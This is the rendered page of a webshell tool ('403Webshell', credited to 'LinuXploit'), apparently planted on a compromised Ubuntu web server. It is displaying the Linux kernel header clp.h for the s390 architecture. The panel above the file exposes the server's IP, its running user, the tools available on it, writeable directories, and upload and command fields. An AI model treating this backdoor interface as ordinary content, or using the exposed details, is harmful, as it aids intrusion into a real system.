403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.154
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/src/linux-headers-6.8.0-45/arch/s390/include/asm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-6.8.0-45/arch/s390/include/asm/clp.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_S390_CLP_H
#define _ASM_S390_CLP_H

/* CLP common request & response block size */
#define CLP_BLK_SIZE			PAGE_SIZE

/* Call Logical Processor - Command Code */
#define CLP_SLPC		0x0001

#define CLP_LPS_BASE	0
#define CLP_LPS_PCI	2

struct clp_req_hdr {
	u16 len;
	u16 cmd;
	u32 fmt		: 4;
	u32 reserved1	: 28;
	u64 reserved2;
} __packed;

struct clp_rsp_hdr {
	u16 len;
	u16 rsp;
	u32 fmt		: 4;
	u32 reserved1	: 28;
	u64 reserved2;
} __packed;

/* CLP Response Codes */
#define CLP_RC_OK			0x0010	/* Command request successfully */
#define CLP_RC_CMD			0x0020	/* Command code not recognized */
#define CLP_RC_PERM			0x0030	/* Command not authorized */
#define CLP_RC_FMT			0x0040	/* Invalid command request format */
#define CLP_RC_LEN			0x0050	/* Invalid command request length */
#define CLP_RC_8K			0x0060	/* Command requires 8K LPCB */
#define CLP_RC_RESNOT0			0x0070	/* Reserved field not zero */
#define CLP_RC_NODATA			0x0080	/* No data available */
#define CLP_RC_FC_UNKNOWN		0x0100	/* Function code not recognized */

/* Store logical-processor characteristics request */
struct clp_req_slpc {
	struct clp_req_hdr hdr;
} __packed;

struct clp_rsp_slpc {
	struct clp_rsp_hdr hdr;
	u32 reserved2[4];
	u32 lpif[8];
	u32 reserved3[8];
	u32 lpic[8];
} __packed;

struct clp_req_rsp_slpc {
	struct clp_req_slpc request;
	struct clp_rsp_slpc response;
} __packed;

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit